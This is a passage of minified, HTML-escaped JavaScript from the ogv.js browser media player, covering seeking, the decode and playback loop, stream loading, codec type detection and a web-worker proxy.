f.default({start:0,end:t,process:(e,t,i)=&gt;i!=this._lastSeekPosition&amp;&amp;(this._lastSeekPosition=i,this._codec.flush((()=&gt;{this._seekStream(i)})),!0)}),this._seekBisector.start()}_continueSeekedPlayback(){this._seekState=O,this._state=E,this._frameEndTimestamp=this._codec.frameTimestamp,this._audioEndTimestamp=this._codec.audioTimestamp,this._codec.hasAudio?this._seekTargetTime=this._codec.audioTimestamp:this._seekTargetTime=this._codec.frameTimestamp,this._initialPlaybackOffset=this._seekTargetTime;var finishedSeeking=()=&gt;{this._lastTimeUpdate=this._seekTargetTime,this._fireEventAsync(&quot;timeupdate&quot;),this._fireEventAsync(&quot;seeked&quot;),this._isProcessing()||this._pingProcessing()};if(this._codec.hasVideo&amp;&amp;this._decodedFrames.length){var e=this._decodedFrames.shift();this._drawFrame(e.yCbCrBuffer),finishedSeeking()}else{if(this._codec.hasVideo&amp;&amp;this._codec.frameReady)return this._codec.decodeFrame((e=&gt;{e&amp;&amp;this._drawFrame(this._codec.frameBuffer),finishedSeeking()})),void this._codec.sync();finishedSeeking()}}_drawFrame(e){this._thumbnail&amp;&amp;(this.removeChild(this._thumbnail),this._thumbnail=null),this._frameSink.drawFrame(e),this._video&amp;&amp;(this._canvasStream||(this._canvasStream=this._canvas.captureStream(0),this._videoTrack=this._canvasStream.getVideoTracks()[0],this._mediaStream.addTrack(this._videoTrack),navigator.userAgent.match(/WebKit/)&amp;&amp;(this._video.src=this._mediaStream,this._video.play())),this._videoTrack&amp;&amp;this._videoTrack.requestFrame?this._videoTrack.requestFrame():this._canvasStream&amp;&amp;this._canvasStream.requestFrame&amp;&amp;this._canvasStream.requestFrame())}_doProcessLinearSeeking(){var e;if(e=this._codec.hasVideo?this._targetPerFrameTime/1e3:1/256,this._codec.hasVideo){if(this._pendingFrame)return;if(!this._codec.frameReady)return void this._codec.process((e=&gt;{e?this._pingProcessing():this._streamEnded?(this._log(&quot;stream ended during linear seeking on video&quot;),this._dataEnded=!0,this._continueSeekedPlayback()):this._readBytesAndWait()}));if(this._seekMode===D&amp;&amp;this._codec.keyframeTimestamp==this._codec.frameTimestamp)return void this._continueSeekedPlayback();if(this._codec.frameTimestamp&lt;=this._seekTargetTime){var t=this._codec.frameTimestamp;return this._pendingFrame++,this._pendingFrames.push({frameEndTimestamp:t}),this._decodedFrames.splice(0,this._decodedFrames.length),this._codec.decodeFrame((e=&gt;{this._pendingFrame--,this._pendingFrames.shift(),this._decodedFrames.push({yCbCrBuffer:this._codec.frameBuffer,videoCpuTime:this._codec.videoCpuTime,frameEndTimestamp:t}),this._pingProcessing()})),void this._codec.sync()}if(!this._codec.hasAudio)return void this._continueSeekedPlayback()}if(this._codec.hasAudio){if(this._pendingAudio)return;return this._codec.audioReady?this._codec.audioTimestamp+e&lt;this._seekTargetTime?void this._codec.decodeAudio((()=&gt;{this._pingProcessing()})):void this._continueSeekedPlayback():void this._codec.process((e=&gt;{e?this._pingProcessing():this._streamEnded?(this._log(&quot;stream ended during linear seeking on audio&quot;),this._dataEnded=!0,this._continueSeekedPlayback()):this._readBytesAndWait()}))}}_doProcessBisectionSeek(){var e,t;if(this._codec.hasVideo)t=this._codec.frameTimestamp,e=this._targetPerFrameTime/1e3;else{if(!this._codec.hasAudio)throw new Error(&quot;Invalid seek state; no audio or video track available&quot;);t=this._codec.audioTimestamp,e=1/256}t&lt;0?this._codec.process((e=&gt;{if(e)this._pingProcessing();else if(this._streamEnded){if(this._log(&quot;stream ended during bisection seek&quot;),!this._seekBisector.right())throw this._log(&quot;failed going back&quot;),new Error(&quot;not sure what to do&quot;)}else this._readBytesAndWait()})):t-e/2&gt;this._bisectTargetTime?this._seekBisector.left()||(this._log(&quot;close enough (left)&quot;),this._seekTargetTime=t,this._continueSeekedPlayback()):t+e/2&lt;this._bisectTargetTime?this._seekBisector.right()||(this._log(&quot;close enough (right)&quot;),this._seekState=C,this._pingProcessing()):this._seekState==F&amp;&amp;this._codec.hasVideo&amp;&amp;this._codec.keyframeTimestamp&lt;this._codec.frameTimestamp?(this._log(&quot;finding the keypoint now&quot;),this._seekState=S,this._startBisection(this._codec.keyframeTimestamp)):(this._log(&quot;straight seeking now&quot;),this._seekState=C,this._pingProcessing())}_setupVideo(){this._videoInfo.fps&gt;0?this._targetPerFrameTime=1e3/this._videoInfo.fps:this._targetPerFrameTime=16.667,this._canvas.width=this._videoInfo.displayWidth,this._canvas.height=this._videoInfo.displayHeight,OGVPlayer.styleManager.appendRule(&quot;.&quot;+this._instanceId,{width:this._videoInfo.displayWidth+&quot;px&quot;,height:this._videoInfo.displayHeight+&quot;px&quot;}),OGVPlayer.updatePositionOnResize();var e={};void 0!==this._options.webGL&amp;&amp;(e.webGL=this._options.webGL),this._options.forceWebGL&amp;&amp;(e.webGL=&quot;required&quot;),this._frameSink=h.default.attach(this._canvas,e)}_doProcessing(){if(this._didSeek&amp;&amp;(this._didSeek=!1),this._nextProcessingTimer=null,this._isProcessing(),this._depth&gt;0)throw new Error(&quot;REENTRANCY FAIL: doProcessing recursing unexpectedly&quot;);var e=0;do{if(this._needProcessing=!1,this._depth++,this._doProcessingLoop(),this._depth--,this._needProcessing&amp;&amp;this._isProcessing())throw new Error(&quot;REENTRANCY FAIL: waiting on input or codec but asked to keep processing&quot;);++e&gt;500&amp;&amp;(this._log(&quot;stuck in processing loop; breaking with timer&quot;),this._needProcessing=0,this._pingProcessing(0))}while(this._needProcessing)}_doProcessingLoop(){if(this._actionQueue.length)this._actionQueue.shift()();else if(this._state==T)this._doProcessInitial();else if(this._state==k)this._doProcessSeekingEnd();else if(this._state==P)this._doProcessLoaded();else if(this._state==w)this._doProcessPreload();else if(this._state==E)this._doProcessReady();else if(this._state==A)this._doProcessSeeking();else if(this._state==x)this._doProcessPlay();else{if(this._state!=R)throw new Error(&quot;Unexpected OGVPlayer state &quot;+this._state);this._doProcessError()}}_doProcessInitial(){if(this._codec.loadedMetadata){if(!this._codec.hasVideo&amp;&amp;!this._codec.hasAudio)throw new Error(&quot;No audio or video found, something is wrong&quot;);this._codec.hasAudio&amp;&amp;(this._audioInfo=this._codec.audioFormat),this._codec.hasVideo&amp;&amp;(this._videoInfo=this._codec.videoFormat,this._setupVideo()),isNaN(this._codec.duration)||(this._duration=this._codec.duration),null===this._duration&amp;&amp;this._stream.seekable&amp;&amp;&quot;video/ogg&quot;==this._detectedType?(this._state=k,this._lastSeenTimestamp=-1,this._codec.flush((()=&gt;{this._seekStream(Math.max(0,this._stream.length-131072))}))):(this._state=P,this._pingProcessing())}else this._codec.process((e=&gt;{if(e)this._pingProcessing();else{if(this._streamEnded)throw new Error(&quot;end of file before headers found&quot;);this._log(&quot;reading more cause we are out of data&quot;),this._readBytesAndWait()}}))}_doProcessSeekingEnd(){this._codec.frameReady?(this._log(&quot;saw frame with &quot;+this._codec.frameTimestamp),this._lastSeenTimestamp=Math.max(this._lastSeenTimestamp,this._codec.frameTimestamp),this._codec.discardFrame((()=&gt;{this._pingProcessing()}))):this._codec.audioReady?(this._log(&quot;saw audio with &quot;+this._codec.audioTimestamp),this._lastSeenTimestamp=Math.max(this._lastSeenTimestamp,this._codec.audioTimestamp),this._codec.discardAudio((()=&gt;{this._pingProcessing()}))):this._codec.process((e=&gt;{e?this._pingProcessing():this._stream.eof?(this._log(&quot;seek-duration: we are at the end: &quot;+this._lastSeenTimestamp),this._lastSeenTimestamp&gt;0&amp;&amp;(this._duration=this._lastSeenTimestamp),this._state=P,this._codec.flush((()=&gt;{this._streamEnded=!1,this._dataEnded=!1,this._seekStream(0)}))):this._readBytesAndWait()}))}_doProcessLoaded(){this._state=w,this._fireEventAsync(&quot;loadedmetadata&quot;),this._fireEventAsync(&quot;durationchange&quot;),this._codec.hasVideo&amp;&amp;this._fireEventAsync(&quot;resize&quot;),this._pingProcessing(0)}_doProcessPreload(){!this._codec.frameReady&amp;&amp;this._codec.hasVideo||!this._codec.audioReady&amp;&amp;this._codec.hasAudio?this._codec.process((e=&gt;{e?this._pingProcessing():this._streamEnded?this._ended=!0:this._readBytesAndWait()})):(this._state=E,this._fireEventAsync(&quot;loadeddata&quot;),this._pingProcessing())}_doProcessReady(){if(this._log(&quot;initial seek to &quot;+this._initialSeekTime),this._initialSeekTime&gt;0){var e=this._initialSeekTime;this._initialSeekTime=0,this._log(&quot;initial seek to &quot;+e),this._doSeek(e)}else if(this._paused)this._log(&quot;paused while in ready&quot;);else{var finishStartPlaying=()=&gt;{this._log(&quot;finishStartPlaying&quot;),this._state=x,this._lastFrameTimestamp=d(),this._codec.hasAudio&amp;&amp;this._audioFeeder?this._prebufferingAudio=!0:this._startPlayback(),this._pingProcessing(0),this._fireEventAsync(&quot;play&quot;),this._fireEventAsync(&quot;playing&quot;)};!this._codec.hasAudio||this._audioFeeder||this._muted?finishStartPlaying():(this._initAudioFeeder(),this._audioFeeder.waitUntilReady(finishStartPlaying))}}_doProcessSeeking(){if(this._seekState==O)throw new Error(&quot;seeking in invalid state (not seeking?)&quot;);if(this._seekState==F)this._doProcessBisectionSeek();else if(this._seekState==S)this._doProcessBisectionSeek();else{if(this._seekState!=C)throw new Error(&quot;Invalid seek state &quot;+this._seekState);this._doProcessLinearSeeking()}}_doProcessPlay(){var e=this._codec;if(this._paused)this._log(&quot;paused during playback; stopping loop&quot;);else if((!e.hasAudio||e.audioReady||this._pendingAudio||this._dataEnded)&amp;&amp;(!e.hasVideo||e.frameReady||this._pendingFrame||this._decodedFrames.length||this._dataEnded)){var t,i,s,d=null,h=0,u=!1,c=0;if(e.hasAudio&amp;&amp;this._audioFeeder?(d=this._audioFeeder.getPlaybackState(),h=this._getPlaybackTime(d),u=this._dataEnded&amp;&amp;0==this._audioFeeder.durationBuffered,this._prebufferingAudio&amp;&amp;(this._audioFeeder.durationBuffered&gt;=2*this._audioFeeder.bufferThreshold&amp;&amp;(!e.hasVideo||this._decodedFrames.length&gt;=this._framePipelineDepth)||this._dataEnded)&amp;&amp;(this._log(&quot;prebuffering audio done; buffered to &quot;+this._audioFeeder.durationBuffered),this._startPlayback(h),this._prebufferingAudio=!1),d.dropped!=this._droppedAudio&amp;&amp;this._log(&quot;dropped &quot;+(d.dropped-this._droppedAudio)),d.delayed!=this._delayedAudio&amp;&amp;this._log(&quot;delayed &quot;+(d.delayed-this._delayedAudio)),this._droppedAudio=d.dropped,this._delayedAudio=d.delayed,(t=this._audioFeeder.durationBuffered&lt;=2*this._audioFeeder.bufferThreshold)&amp;&amp;(this._codec.audioReady?this._pendingAudio&gt;=this._audioPipelineDepth&amp;&amp;(this._log(&quot;audio decode disabled: &quot;+this._pendingAudio+&quot; packets in flight&quot;),t=!1):t=!1)):(h=this._getPlaybackTime(),t=this._codec.audioReady&amp;&amp;this._audioEndTimestamp&lt;h),this._codec.hasVideo){i=this._decodedFrames.length&gt;0,s=this._pendingFrame+this._decodedFrames.length&lt;this._framePipelineDepth+this._frameParallelism&amp;&amp;this._codec.frameReady,i&amp;&amp;(c=1e3*(this._decodedFrames[0].frameEndTimestamp-h),this._actualPerFrameTime=this._targetPerFrameTime-c);var l=this._targetPerFrameTime;if(this._prebufferingAudio)s&amp;&amp;this._log(&quot;decoding a frame during prebuffering&quot;),i=!1;else if(i&amp;&amp;this._dataEnded&amp;&amp;u)this._log(&quot;audio timeline ended? ready to draw frame&quot;);else if(i&amp;&amp;-c&gt;=l){for(var f=-1,_=0;_&lt;this._decodedFrames.length-1;_++)this._decodedFrames[_].frameEndTimestamp&lt;h&amp;&amp;(f=_-1);if(f&gt;=0)for(;f-- &gt;=0;){this._lateFrames++;var p=this._decodedFrames.shift();this._log(&quot;skipping already-decoded late frame at &quot;+p.frameEndTimestamp),c=1e3*(p.frameEndTimestamp-h),this._frameEndTimestamp=p.frameEndTimestamp,this._actualPerFrameTime=this._targetPerFrameTime-c,this._framesProcessed++,p.dropped=!0,this._doFrameComplete(p)}var m=this._codec.nextKeyframeTimestamp,g=m-this._targetPerFrameTime/1e3*(this._framePipelineDepth+this._pendingFrame);if(m&gt;=0&amp;&amp;m!=this._codec.frameTimestamp&amp;&amp;h&gt;=g){this._log(&quot;skipping late frame at &quot;+this._decodedFrames[0].frameEndTimestamp+&quot; vs &quot;+h+&quot;, expect to see keyframe at &quot;+m);for(var v=0;v&lt;this._decodedFrames.length;v++){var y=this._decodedFrames[v];this._lateFrames++,this._framesProcessed++,this._frameEndTimestamp=y.frameEndTimestamp,c=1e3*(y.frameEndTimestamp-h),this._actualPerFrameTime=this._targetPerFrameTime-c,y.dropped=!0,this._doFrameComplete(y)}this._decodedFrames=[];for(var b=0;b&lt;this._pendingFrames.length;b++){var T=this._pendingFrames[b];this._lateFrames++,this._framesProcessed++,this._frameEndTimestamp=T.frameEndTimestamp,c=1e3*(T.frameEndTimestamp-h),this._actualPerFrameTime=this._targetPerFrameTime-c,T.dropped=!0,this._doFrameComplete(T)}for(this._pendingFrames=[],this._pendingFrame=0;this._codec.frameReady&amp;&amp;this._codec.frameTimestamp&lt;m;){var k={frameEndTimestamp:this._codec.frameTimestamp,dropped:!0};c=1e3*(k.frameEndTimestamp-h),this._actualPerFrameTime=this._targetPerFrameTime-c,this._lateFrames++,this._codec.discardFrame((()=&gt;{})),this._framesProcessed++,this._doFrameComplete(k)}return void(this._isProcessing()||this._pingProcessing())}}else i&amp;&amp;c&lt;=4||(i=!1)}if(s){this._log(&quot;play loop: ready to decode frame; thread depth: &quot;+this._pendingFrame+&quot;, have buffered: &quot;+this._decodedFrames.length),0==this._videoInfo.fps&amp;&amp;this._codec.frameTimestamp-this._frameEndTimestamp&gt;0&amp;&amp;(this._targetPerFrameTime=1e3*(this._codec.frameTimestamp-this._frameEndTimestamp)),this._totalFrameTime+=this._targetPerFrameTime,this._totalFrameCount++;var P=this._frameEndTimestamp=this._codec.frameTimestamp;this._pendingFrame++,this._pendingFrames.push({frameEndTimestamp:P});var w=this._pendingFrames,E=!1,x=this._time((()=&gt;{this._codec.decodeFrame((e=&gt;{w===this._pendingFrames?(this._log(&quot;play loop callback: decoded frame&quot;),this._pendingFrame--,this._pendingFrames.shift(),e?this._decodedFrames.push({yCbCrBuffer:this._codec.frameBuffer,videoCpuTime:this._codec.videoCpuTime,frameEndTimestamp:P}):this._log(&quot;Bad video packet or something&quot;),this._codec.process((()=&gt;{this._isProcessing()||this._pingProcessing(E?void 0:0)}))):this._log(&quot;play loop callback after flush, discarding&quot;)}))}));this._pendingFrame&amp;&amp;(E=!0,this._proxyTime+=x,this._pingProcessing(),this._dataEnded&amp;&amp;this._codec.sync())}else if(t){this._log(&quot;play loop: ready for audio; depth: &quot;+this._pendingAudio),this._pendingAudio++;var A=this._codec.audioTimestamp,R=this._time((()=&gt;{this._codec.decodeAudio((e=&gt;{if(this._pendingAudio--,this._log(&quot;play loop callback: decoded audio&quot;),this._audioEndTimestamp=A,e){var t=this._codec.audioBuffer;if(t&amp;&amp;(this._bufferTime+=this._time((()=&gt;{this._audioFeeder&amp;&amp;this._audioFeeder.bufferData(t)})),!this._codec.hasVideo)){this._framesProcessed++;var i={frameEndTimestamp:this._audioEndTimestamp};this._doFrameComplete(i)}}this._isProcessing()||this._pingProcessing()}))}));this._pendingAudio&amp;&amp;(this._proxyTime+=R,this._codec.audioReady?this._pingProcessing():this._doProcessPlayDemux())}else if(i){this._log(&quot;play loop: ready to draw frame&quot;),this._nextFrameTimer&amp;&amp;(clearTimeout(this._nextFrameTimer),this._nextFrameTimer=null),this._thumbnail&amp;&amp;(this.removeChild(this._thumbnail),this._thumbnail=null);var O=this._decodedFrames.shift();this._currentVideoCpuTime=O.videoCpuTime,this._drawingTime+=this._time((()=&gt;{this._drawFrame(O.yCbCrBuffer)})),this._framesProcessed++,this._doFrameComplete(O),this._pingProcessing()}else if(!this._decodedFrames.length||this._nextFrameTimer||this._prebufferingAudio)if(this._dataEnded&amp;&amp;!(this._pendingAudio||this._pendingFrame||this._decodedFrames.length)){this._log(&quot;play loop: playback reached end of data &quot;+[this._pendingAudio,this._pendingFrame,this._decodedFrames.length]);var F=0;this._codec.hasAudio&amp;&amp;this._audioFeeder&amp;&amp;(F=1e3*this._audioFeeder.durationBuffered),F&gt;0?(this._log(&quot;play loop: ending pending &quot;+F+&quot; ms&quot;),this._pingProcessing(Math.max(0,F))):(this._log(&quot;play loop: ENDING NOW: playback time &quot;+this._getPlaybackTime()+&quot;; frameEndTimestamp: &quot;+this._frameEndTimestamp),this._stopPlayback(),this._prebufferingAudio=!1,this._initialPlaybackOffset=Math.max(this._audioEndTimestamp,this._frameEndTimestamp),this._ended=!0,this._paused=!0,this._fireEventAsync(&quot;pause&quot;),this._fireEventAsync(&quot;ended&quot;))}else this._prebufferingAudio&amp;&amp;(e.hasVideo&amp;&amp;!e.frameReady||e.hasAudio&amp;&amp;!e.audioReady)?(this._log(&quot;play loop: prebuffering demuxing&quot;),this._doProcessPlayDemux()):this._log(&quot;play loop: waiting on async/timers&quot;);else{var S=c;this._log(&quot;play loop: setting a timer for drawing &quot;+S),this._nextFrameTimer=setTimeout((()=&gt;{this._nextFrameTimer=null,this._pingProcessing()}),S)}}else this._log(&quot;play loop: demuxing&quot;),this._doProcessPlayDemux()}_doProcessPlayDemux(){var e=this._codec.frameReady,t=this._codec.audioReady;this._codec.process((i=&gt;{this._codec.frameReady&amp;&amp;!e||this._codec.audioReady&amp;&amp;!t?(this._log(&quot;demuxer has packets&quot;),this._pingProcessing()):i?(this._log(&quot;demuxer processing to find more packets&quot;),this._pingProcessing()):(this._log(&quot;demuxer ran out of data&quot;),this._streamEnded?(this._log(&quot;demuxer reached end of data stream&quot;),this._dataEnded=!0,this._pingProcessing()):(this._log(&quot;demuxer loading more data&quot;),this._readBytesAndWait()))}))}_doProcessError(){}_isProcessing(){return this._stream&amp;&amp;(this._stream.buffering||this._stream.seeking)||this._codec&amp;&amp;this._codec.processing}_readBytesAndWait(){this._stream.buffering||this._stream.seeking?this._log(&quot;readBytesAndWait during i/o&quot;):this._stream.read(32768).then((e=&gt;{this._log(&quot;got input &quot;+[e.byteLength]),e.byteLength&amp;&amp;this._actionQueue.push((()=&gt;{this._codec.receiveInput(e,(()=&gt;{this._pingProcessing()}))})),this._stream.eof&amp;&amp;(this._log(&quot;stream is at end!&quot;),this._streamEnded=!0),this._isProcessing()||this._pingProcessing()})).catch((e=&gt;{this._onStreamError(e)}))}_pingProcessing(){var e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:-1;this._stream&amp;&amp;this._stream.waiting?this._log(&quot;waiting on input&quot;):(this._nextProcessingTimer&amp;&amp;(this._log(&quot;canceling old processing timer&quot;),clearTimeout(this._nextProcessingTimer),this._nextProcessingTimer=null),e&gt;-1/256?this._nextProcessingTimer=setTimeout((()=&gt;{this._pingProcessing()}),e):this._depth?this._needProcessing=!0:this._doProcessing())}_startProcessingVideo(e){if(!this._started&amp;&amp;!this._codec){this._framesProcessed=0,this._bufferTime=0,this._drawingTime=0,this._proxyTime=0,this._started=!0,this._ended=!1;var t={base:this._options.base,worker:this._enableWorker,threading:this._enableThreading,simd:this._enableSIMD};this._detectedType&amp;&amp;(t.type=this._detectedType),this._codec=new v.default(t),this._lastVideoCpuTime=0,this._lastAudioCpuTime=0,this._lastDemuxerCpuTime=0,this._lastBufferTime=0,this._lastDrawingTime=0,this._lastProxyTime=0,this._lastFrameVideoCpuTime=0,this._lastFrameAudioCpuTime=0,this._lastFrameDemuxerCpuTime=0,this._lastFrameBufferTime=0,this._lastFrameProxyTime=0,this._lastFrameDrawingTime=0,this._currentVideoCpuTime=0,this._codec.onseek=e=&gt;{this._didSeek=!0,this._stream&amp;&amp;this._seekStream(e)},this._codec.init((()=&gt;{this._codec.receiveInput(e,(()=&gt;{this._readBytesAndWait()}))}))}}_loadCodec(e){this._stream.read(1024).then((t=&gt;{var i=new Uint8Array(t);i.length&gt;4&amp;&amp;i[0]==&quot;O&quot;.charCodeAt(0)&amp;&amp;i[1]==&quot;g&quot;.charCodeAt(0)&amp;&amp;i[2]==&quot;g&quot;.charCodeAt(0)&amp;&amp;i[3]==&quot;S&quot;.charCodeAt(0)?this._detectedType=&quot;video/ogg&quot;:i.length&gt;4&amp;&amp;26==i[0]&amp;&amp;69==i[1]&amp;&amp;223==i[2]&amp;&amp;163==i[3]?this._detectedType=&quot;video/webm&quot;:this._detectedType=&quot;video/ogg&quot;,e(t)}))}_prepForLoad(e){this._stopVideo();var doLoad=()=&gt;{this._options.stream?this._stream=this._options.stream:this._stream=new u.default({url:this.src,cacheSize:16777216,progressive:!1}),this._stream.load().then((()=&gt;{this._loading=!1,this._currentSrc=this.src,this._byteLength=this._stream.seekable?this._stream.length:0;var e=this._stream.headers[&quot;x-content-duration&quot;];&quot;string&quot;==typeof e&amp;&amp;(this._duration=parseFloat(e)),this._loadCodec((e=&gt;{this._startProcessingVideo(e)}))})).catch((e=&gt;{this._onStreamError(e)}))};this._currentSrc=&quot;&quot;,this._loading=!0,this._actionQueue.push((()=&gt;{e&amp;&amp;&quot;none&quot;===this.preload?this._loading=!1:doLoad()})),this._pingProcessing(0)}load(){this._prepForLoad()}canPlayType(e){var t=new m.default(e);function checkTypes(e){if(t.codecs){var i=0,s=0;return t.codecs.forEach((t=&gt;{e.indexOf(t)&gt;=0?i++:s++})),0===i||s&gt;0?&quot;&quot;:&quot;probably&quot;}return&quot;maybe&quot;}return&quot;ogg&quot;!==t.minor||&quot;audio&quot;!==t.major&amp;&amp;&quot;video&quot;!==t.major&amp;&amp;&quot;application&quot;!==t.major?&quot;webm&quot;!==t.minor||&quot;audio&quot;!==t.major&amp;&amp;&quot;video&quot;!==t.major?&quot;&quot;:checkTypes([&quot;vorbis&quot;,&quot;opus&quot;,&quot;vp8&quot;,&quot;vp9&quot;]):checkTypes([&quot;vorbis&quot;,&quot;opus&quot;,&quot;theora&quot;])}play(){this._muted||this._options.audioContext||OGVPlayer.initSharedAudioContext(),this._paused&amp;&amp;(this._startedPlaybackInDocument=document.body.contains(this),this._paused=!1,this._state==A||(this._started&amp;&amp;this._codec&amp;&amp;this._codec.loadedMetadata?(this._ended&amp;&amp;this._stream&amp;&amp;this._byteLength?(this._log(&quot;.play() starting over after end&quot;),this._seek(0)):this._log(&quot;.play() while already started&quot;),this._state=E,this._isProcessing()||this._pingProcessing()):this._loading?this._log(&quot;.play() while loading&quot;):(this._log(&quot;.play() before started&quot;),this._stream||this.load()))),this._video&amp;&amp;this._video.paused&amp;&amp;this._video.play()}getPlaybackStats(){return{targetPerFrameTime:this._targetPerFrameTime,framesProcessed:this._framesProcessed,videoBytes:this._codec?this._codec.videoBytes:0,audioBytes:this._codec?this._codec.audioBytes:0,playTime:this._playTime,demuxingTime:this._codec?this._codec.demuxerCpuTime-this._lastDemuxerCpuTime:0,videoDecodingTime:this._codec?this._codec.videoCpuTime-this._lastVideoCpuTime:0,audioDecodingTime:this._codec?this._codec.audioCpuTime-this._lastAudioCpuTime:0,bufferTime:this._bufferTime-this._lastBufferTime,drawingTime:this._drawingTime-this._lastDrawingTime,proxyTime:this._proxyTime-this._lastProxyTime,droppedAudio:this._droppedAudio,delayedAudio:this._delayedAudio,jitter:this._totalJitter/this._framesProcessed,lateFrames:this._lateFrames}}resetPlaybackStats(){this._framesProcessed=0,this._playTime=0,this._codec&amp;&amp;(this._lastDemuxerCpuTime=this._codec.demuxerCpuTime,this._lastVideoCpuTime=this._codec.videoCpuTime,this._lastAudioCpuTime=this._codec.audioCpuTime,this._codec.videoBytes=0,this._codec.audioBytes=0),this._lastBufferTime=this._bufferTime,this._lastDrawingTime=this._drawingTime,this._lastProxyTime=this._proxyTime,this._totalJitter=0,this._totalFrameTime=0,this._totalFrameCount=0}getVideoFrameSink(){return this._frameSink}getCanvas(){return this._canvas}getVideo(){return this._video}pause(){this._paused||(this._nextProcessingTimer&amp;&amp;(clearTimeout(this._nextProcessingTimer),this._nextProcessingTimer=null),this._stopPlayback(),this._prebufferingAudio=!1,this._paused=!0,this._fireEvent(&quot;pause&quot;))}stop(){this._stopVideo(),this._paused=!0}fastSeek(e){this._seek(+e,D)}}if((0,_.default)(OGVPlayer,b),OGVPlayer.instanceCount=0,OGVPlayer.styleManager=new function(){var e=document.createElement(&quot;style&quot;);e.type=&quot;text/css&quot;,e.textContent=&quot;ogvjs { display: inline-block; position: relative; -webkit-user-select: none; -webkit-tap-highlight-color: rgba(0,0,0,0); &quot;,document.head.appendChild(e);var t=e.sheet;this.appendRule=function(e,i){var s=[];for(var d in i)i.hasOwnProperty(d)&amp;&amp;s.push(d+&quot;:&quot;+i[d]);var h=e+&quot;{&quot;+s.join(&quot;;&quot;)+&quot;}&quot;;t.insertRule(h,t.cssRules.length-1)}},OGVPlayer.supportsObjectFit=&quot;string&quot;==typeof document.createElement(&quot;canvas&quot;).style.objectFit,OGVPlayer.supportsObjectFit&amp;&amp;navigator.userAgent.match(/iPhone|iPad|iPod Touch/)&amp;&amp;(OGVPlayer.supportsObjectFit=!1),OGVPlayer.supportsObjectFit&amp;&amp;navigator.userAgent.match(/Edge/)&amp;&amp;(OGVPlayer.supportsObjectFit=!1),OGVPlayer.supportsObjectFit)OGVPlayer.updatePositionOnResize=function(){};else{OGVPlayer.updatePositionOnResize=function(){function fixup(e,t,i){var s=e.offsetParent||e.parentNode,d=t/i;if(d&gt;s.offsetWidth/s.offsetHeight){var h=s.offsetWidth/d,u=(s.offsetHeight-h)/2;e.style.width=&quot;100%&quot;,e.style.height=h+&quot;px&quot;,e.style.marginLeft=0,e.style.marginRight=0,e.style.marginTop=u+&quot;px&quot;,e.style.marginBottom=u+&quot;px&quot;}else{var c=s.offsetHeight*d,l=(s.offsetWidth-c)/2;e.style.width=c+&quot;px&quot;,e.style.height=&quot;100%&quot;,e.style.marginLeft=l+&quot;px&quot;,e.style.marginRight=l+&quot;px&quot;,e.style.marginTop=0,e.style.marginBottom=0}}function queryOver(e,t){var i=document.querySelectorAll(e);Array.prototype.slice.call(i).forEach(t)}queryOver(&quot;ogvjs &gt; canvas&quot;,(function(e){fixup(e,e.width,e.height)})),queryOver(&quot;ogvjs &gt; img&quot;,(function(e){fixup(e,e.naturalWidth,e.naturalHeight)}))};var M=function(){y(OGVPlayer.updatePositionOnResize)};window.addEventListener(&quot;resize&quot;,OGVPlayer.updatePositionOnResize),window.addEventListener(&quot;orientationchange&quot;,OGVPlayer.updatePositionOnResize),document.addEventListener(&quot;fullscreenchange&quot;,M),document.addEventListener(&quot;mozfullscreenchange&quot;,M),document.addEventListener(&quot;webkitfullscreenchange&quot;,M),document.addEventListener(&quot;MSFullscreenChange&quot;,M)}var V=OGVPlayer;t.default=V},580:(e,t)=&gt;{Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0,t.default=function(e){return class{constructor(t,i,s){for(var d in s=s||{},this.worker=t,this.transferables=function(){var e=new ArrayBuffer(1024),i=new Uint8Array(e);try{return t.postMessage({action:&quot;transferTest&quot;,bytes:i},[e]),!e.byteLength}catch(e){return!1}}(),e)e.hasOwnProperty(d)&amp;&amp;(this[d]=e[d]);this.processingQueue=0,Object.defineProperty(this,&quot;processing&quot;,{get:function(){return this.processingQueue&gt;0}}),this.messageCount=0,this.pendingCallbacks={},this.worker.addEventListener(&quot;message&quot;,(e=&gt;{this.handleMessage(e)})),this.proxy(&quot;construct&quot;,[i,s],(()=&gt;{}))}proxy(e,t,i){var s=arguments.length&gt;3&amp;&amp;void 0!==arguments[3]?arguments[3]:[];if(!this.worker)throw&#039;Tried to call &quot;&#039;+e+&#039;&quot; method on closed proxy object&#039;;var d=&quot;callback-&quot;+ ++this.messageCount+&quot;-&quot;+e;i&amp;&amp;(this.pendingCallbacks[d]=i);var h={action:e,callbackId:d,args:t||[]};this.processingQueue++,this.transferables?this.worker.postMessage(h,s):this.worker.postMessage(h)}terminate(){this.worker&amp;&amp;(this.worker.terminate(),this.worker=null,this.processingQueue=0,this.pendingCallbacks={})}handleMessage(e){if(this.processingQueue--,&quot;callback&quot;===e.data.action){var t=e.data,i=t.callbackId,s=t.args,d=this.pendingCallbacks[i];if(t.props)for(var h in t.props)t.props.hasOwnProperty(h)&amp;&amp;(this[h]=t.props[h]);d&amp;&amp;(delete this.pendingCallbacks[i],d.apply(this,s))}}}}},168:(e,t)=&gt;{Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0,t.default=class{constructor(e){this._ranges=e,this.length=e.length}start(e){if(e&lt;0||e&gt;this.length||e!==(0|e))throw new RangeError(&quot;Invalid index&quot;);return this._ranges[e][0]}end(e){if(e&lt;0||e&gt;this.length||e!==(0|e))throw new RangeError(&quot;Invalid index&quot;);return this._ranges[e][1]}}},625:(e,t,i)=&gt;{var s=i(318);Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t.default=void 0;var d=s(i(964));t.default=class{constructor(e){return this.options=e||{},this.demuxer=null,this.videoDecoder=null,this.audioDecoder=null,this.flushIter=0,this.loadedMetadata=!1,this.processing=!1,Object.defineProperties(this,{duration:{get:function(){return this.loadedMetadata?this.demuxer.duration:NaN}},hasAudio:{get:function(){return this.loadedMetadata&amp;&amp;!!this.audioDecoder}},audioReady:{get:function(){return this.hasAudio&amp;&amp;this.demuxer.audioReady}},audioTimestamp:{get:function(){return this.demuxer.audioTimestamp}},audioFormat:{get:function(){return this.hasAudio?this.audioDecoder.audioFormat:null}},audioBuffer:{get:function(){return this.hasAudio?this.audioDecoder.audioBuffer:null}},hasVideo:{get:function(){return this.loadedMetadata&amp;&amp;!!this.videoDecoder}},frameReady:{get:function(){return this.hasVideo&amp;&amp;this.demuxer.frameReady}},frameTimestamp:{get:function(){return this.demuxer.frameTimestamp}},keyframeTimestamp:{get:function(){return 